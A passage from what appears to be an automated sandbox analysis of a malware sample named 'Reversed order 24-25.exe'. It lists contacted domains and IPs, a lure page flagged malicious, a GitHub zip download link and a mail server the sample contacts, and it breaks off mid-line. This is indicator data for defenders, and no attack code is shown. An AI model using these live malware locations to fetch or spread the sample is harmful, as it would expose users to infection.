https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-floater-language-switcher.css?ver=2.8.7	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.9.0	0%	Avira URL Cloud	safe
https://login.livQ	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.9	0%	Avira URL Cloud	safe
https://www.woluntech.com/pt/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/site-origin.min.	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.	0%	Avira URL Cloud	safe
https://www.woluntech.com/feed/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/siteorigin-panels/css/front-flex.min.css?ver=2.31.3	0%	Avira URL Cloud	safe
https://www.woluntech.com/bn/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.p	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-192x192.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/comments/feed/	0%	Avira URL Cloud	safe
http://mail.grabinphone.com	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=6	0%	Avira URL Cloud	safe
https://www.woluntech.com/ta/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=6.2.2	0%	Avira URL Cloud	safe
https://www.woluntech.com/th/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.6.2.2	0%	Avira URL Cloud	safe
https://www.woluntech.com/ary/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.6.2.2	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/js/trp-frontend-compatibility.js?ver=2.8.7	0%	Avira URL Cloud	safe
https://login.liv	0%	Avira URL Cloud	safe
https://www.woluntech.com/es_pe/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/wooc	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/html-forms/assets/js/public.js?ver=1.4.2	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-180x180.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.p	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.p	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-includes/js/wp-emoji-release.min.js?ver=6.0.2	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/uz_UZ.p	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ta_LK.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-32x32.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/tr_TR.p	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.6.8	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/site-origin.min.css?ver=3.7.9	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-includes/css/dist/block-library/style.min.css?ver=6.0.2	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.6.8	0%	Avira URL Cloud	safe
https://www.woluntech.com/ru/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/id/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/themes/astra/assets/js/minified/flexibility.min.js?ver=3.7.9	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/id_ID.p	0%	Avira URL Cloud	safe
https://www.woluntech.com/tr/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.6.8	0%	Avira URL Cloud	safe
https://login.liv:	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-language-swi	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_CO.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/th.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/?p=9959	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/themes/astra/assets/js/minified/frontend.min.js?ver=3.7.9	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.6.8	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/uploads/2025/01/Captureddd.jpg	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.7.3	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-270x270.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=6.2.2	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.png	0%	Avira URL Cloud	safe
https://www.woluntech.com/oders-pdf/ri	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.p	0%	Avira URL Cloud	safe
https://www.woluntech.com/vi/oders-pdf/	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-language-switcher.css?ver=2.8.7	0%	Avira URL Cloud	safe
https://www.woluntech.com/wp-content/plugins/wpforms-lite/assets/js/integrations/elementor/frontend.min.js?ver=1.7.5.5	0%	Avira URL Cloud	safe
https://www.woluntech.com/?wc-ajax=get_refreshed_fragments&elementor_page_id=9959	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
hcdnwsa120.v5.cdnhwczoy106.cn	148.153.240.68	true	false	high
www.woluntech.com	45.63.57.89	true	false	unknown
github.com	140.82.121.3	true	false	high
raw.githubusercontent.com	185.199.109.133	true	false	high
www.google.com	142.250.185.228	true	false	high
mail.grabinphone.com	103.211.239.66	true	false	unknown
s.w.org	192.0.77.48	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
collect-v6.51.la	unknown	unknown	false	high
sdk.51.la	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.woluntech.com/wp-content/plugins/siteorigin-panels/css/front-flex.min.css?ver=2.31.3	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-floater-language-switcher.css?ver=2.8.7	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.9.0	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.9	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.png	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=6.2.2	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.6.2.2	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.png	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/js/trp-frontend-compatibility.js?ver=2.8.7	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.6.2.2	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/oders-pdf/	true		unknown
https://www.woluntech.com/wp-content/plugins/html-forms/assets/js/public.js?ver=1.4.2	false	Avira URL Cloud: safe	unknown
https://sdk.51.la/js-sdk-pro.min.js	false		high
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ta_LK.png	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-includes/js/wp-emoji-release.min.js?ver=6.0.2	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/site-origin.min.css?ver=3.7.9	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-32x32.png	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-includes/css/dist/block-library/style.min.css?ver=6.0.2	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.6.8	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.6.8	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.6.8	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.png	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_CO.png	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/themes/astra/assets/js/minified/frontend.min.js?ver=3.7.9	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.6.8	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/uploads/2025/01/Captureddd.jpg	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/th.png	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=6.2.2	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.7.3	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.png	false	Avira URL Cloud: safe	unknown
https://github.com/donmodely2k/poczta.github.io/raw/refs/heads/main/Reversed%20order%2024-25.zip	false		high
https://www.woluntech.com/wp-content/plugins/wpforms-lite/assets/js/integrations/elementor/frontend.min.js?ver=1.7.5.5	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-language-switcher.css?ver=2.8.7	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/?wc-ajax=get_refreshed_fragments&elementor_page_id=9959	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.woluntech.com/pt/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/feed/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/site-origin.min.	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://github.com/zloirock/core-js	chromecache_360.10.dr	false		high
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://login.livQ	Chrom.exe, 00000045.00000002.2500818844.0000000000524000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/bn/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.p	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.nirsoft.net	Chrom.exe, 00000014.00000002.2024573053.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2079201992.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2427982949.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2378004334.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2566839401.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2545847378.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000002D.00000002.2538567415.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2533237273.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2577657055.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2577629131.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000044.00000002.2465385770.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000045.00000002.2499446402.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000046.00000002.2577621514.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000053.00000002.2573139241.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2594821796.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000002.2561033270.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000062.00000002.2621293610.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000063.00000002.3697817968.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2586355990.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2601199854.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000066.00000002.2581139654.0000000000193000.00000004.00000010.00020000.00000000.sdmp	false		high
https://www.woluntech.com/comments/feed/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://r10.i.lencr.org/08	Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D8E000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3774823723.0000000003045000.00000004.00000800.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D57000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3780278419.0000000007056000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3696546284.0000000002481000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.woluntech.com/ta/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php	chromecache_435.10.dr	false		high
https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-192x192.png	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=6	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://mail.grabinphone.com	Reversed order 24-25.exe, 00000010.00000002.3774823723.00000000031A2000.00000004.00000800.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3696546284.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/th/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.woluntech.com/ary/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://login.liv	Chrom.exe, 00000018.00000002.2080095589.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.0000000000748000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2571316526.0000000000716000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004BE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000002.2570339797.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000002.2595073740.0000000000573000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000002.2629198936.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000006B.00000002.2619229024.00000000004FE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000006C.00000002.2622653188.0000000000843000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000083.00000002.2627803753.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/wooc	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.nirsoft.net/	Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000002.2573942891.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000027.00000002.2558152686.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000027.00000000.2115852858.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002D.00000002.2551764898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002D.00000000.2119958837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002E.00000000.2119851802.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002E.00000002.2533737416.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002F.00000002.2585861110.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002F.00000000.2119909848.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000030.00000000.2119994043.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	false		high
http://www.zhongyicts.com.cn	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.woluntech.com/es_pe/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Reversed order 24-25.exe, 00000010.00000002.3774823723.0000000003011000.00000004.00000800.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3696546284.0000000002481000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.p	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-180x180.png	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.p	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/uz_UZ.p	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 